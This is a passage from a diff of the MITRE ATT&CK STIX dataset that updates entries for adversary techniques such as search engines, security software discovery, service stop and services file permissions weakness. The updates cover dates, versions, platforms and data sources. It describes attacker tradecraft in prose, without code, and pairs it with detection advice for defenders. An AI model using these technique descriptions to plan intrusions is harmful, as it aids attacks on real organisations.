Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", "type": "attack-pattern", "kill_chain_phases": [ @@ -27891,7 +29282,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:15:53.892Z", + "modified": "2021-04-15T03:45:31.020Z", "created": "2020-10-02T17:01:42.558Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -27923,7 +29314,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Search Engines", - "description": "Before compromising a victim, adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", "type": "attack-pattern", "kill_chain_phases": [ @@ -27932,7 +29323,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:22:11.245Z", + "modified": "2021-04-15T03:52:06.960Z", "created": "2020-10-02T16:50:12.809Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -27989,7 +29380,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Search Open Technical Databases", - "description": "Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", "type": "attack-pattern", "kill_chain_phases": [ @@ -27998,7 +29389,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:20:44.166Z", + "modified": "2021-04-15T03:50:44.308Z", "created": "2020-10-02T16:56:05.810Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -28035,7 +29426,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Search Open Websites/Domains", - "description": "Before compromising a victim, adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", "type": "attack-pattern", "kill_chain_phases": [ @@ -28044,7 +29435,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:22:46.374Z", + "modified": "2021-04-15T03:52:41.104Z", "created": "2020-10-02T16:48:04.509Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -28054,6 +29445,22 @@ ] }, { + "created": "2020-10-02T16:51:50.306Z", + "modified": "2021-04-15T03:53:33.023Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "name": "Search Victim-Owned Websites", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -28066,30 +29473,14 @@ "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Search Victim-Owned Websites", - "description": "Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).", - "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "reconnaissance" - } - ], - "modified": "2020-10-24T04:23:37.282Z", - "created": "2020-10-02T16:51:50.306Z", - "x_mitre_data_sources": [ - "Web logs" - ], - "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" ] }, { @@ -28125,9 +29516,9 @@ "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "PowerShell logs", - "Process monitoring" + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access", + "File: File Access" ], "x_mitre_permissions_required": [ "SYSTEM" @@ -28155,6 +29546,13 @@ "created": "2017-05-31T21:30:51.330Z" }, { + "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", + "name": "Security Software Discovery", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -28172,13 +29570,6 @@ "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Security Software Discovery", - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", - "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "type": "attack-pattern", "kill_chain_phases": [ { @@ -28186,32 +29577,30 @@ "phase_name": "discovery" } ], - "modified": "2020-09-16T19:36:16.978Z", + "modified": "2021-03-29T16:05:00.198Z", "created": "2020-02-21T21:16:18.066Z", - "x_mitre_data_sources": [ - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs", - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.2", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.", "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "x_mitre_data_sources": [ + "Firewall: Firewall Metadata", + "Firewall: Firewall Enumeration", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ] }, { @@ -28284,9 +29673,9 @@ ], "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "x_mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" @@ -28362,7 +29751,8 @@ "modified": "2020-02-17T13:16:53.850Z", "created": "2020-02-12T18:56:31.051Z", "x_mitre_data_sources": [ - "Process monitoring" + "Command: Command Execution", + "Process: Process Access" ], "x_mitre_permissions_required": [ "root" @@ -28393,7 +29783,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Server", - "description": "Before compromising a victim, adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", + "description": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "type": "attack-pattern", "kill_chain_phases": [ @@ -28402,7 +29792,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-12T16:49:11.340Z", + "modified": "2021-04-15T02:51:18.167Z", "created": "2020-10-01T00:48:09.578Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -28424,7 +29814,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Server", - "description": "Before compromising a victim, adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "type": "attack-pattern", "kill_chain_phases": [ @@ -28433,7 +29823,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-12T19:48:07.710Z", + "modified": "2021-04-15T03:03:22.184Z", "created": "2020-10-01T00:56:25.135Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -28484,10 +29874,12 @@ ], "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process monitoring", - "File monitoring", - "Application logs" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content" ], "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) " }, @@ -28544,9 +29936,10 @@ "Windows" ], "x_mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", "x_mitre_remote_support": true, @@ -28614,32 +30007,29 @@ "phase_name": "impact" } ], - "modified": "2020-09-16T15:56:03.131Z", + "modified": "2021-03-29T16:11:12.815Z", "created": "2020-02-20T15:31:43.613Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Availability" ], "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network device logs", - "Network intrusion detection system", - "Web application firewall logs", - "Web logs", - "SSL/TLS inspection" + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace" ] }, { @@ -28683,8 +30073,17 @@ "created": "2017-05-31T21:30:49.119Z" }, { + "created": "2019-03-29T19:00:55.901Z", + "modified": "2021-03-02T22:11:32.017Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "type": "attack-pattern", "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", - "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", "name": "Service Stop", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -28712,15 +30111,6 @@ "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019." } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "impact" - } - ], - "modified": "2020-07-24T15:36:08.042Z", - "created": "2019-03-29T19:00:55.901Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", @@ -28732,40 +30122,24 @@ "SYSTEM", "User" ], - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Windows Registry", - "API monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "Service: Service Metadata", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Process: Process Termination" ], "x_mitre_impact_type": [ "Availability" ] }, { - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.010", - "url": "https://attack.mitre.org/techniques/T1574/010" - }, - { - "external_id": "CAPEC-17", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/17.html" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Services File Permissions Weakness", - "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", - "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", - "type": "attack-pattern", + "created": "2020-03-12T20:43:53.998Z", + "modified": "2020-09-16T19:10:04.262Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -28780,34 +30154,77 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-16T19:10:04.262Z", - "created": "2020-03-12T20:43:53.998Z", - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" + "type": "attack-pattern", + "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or 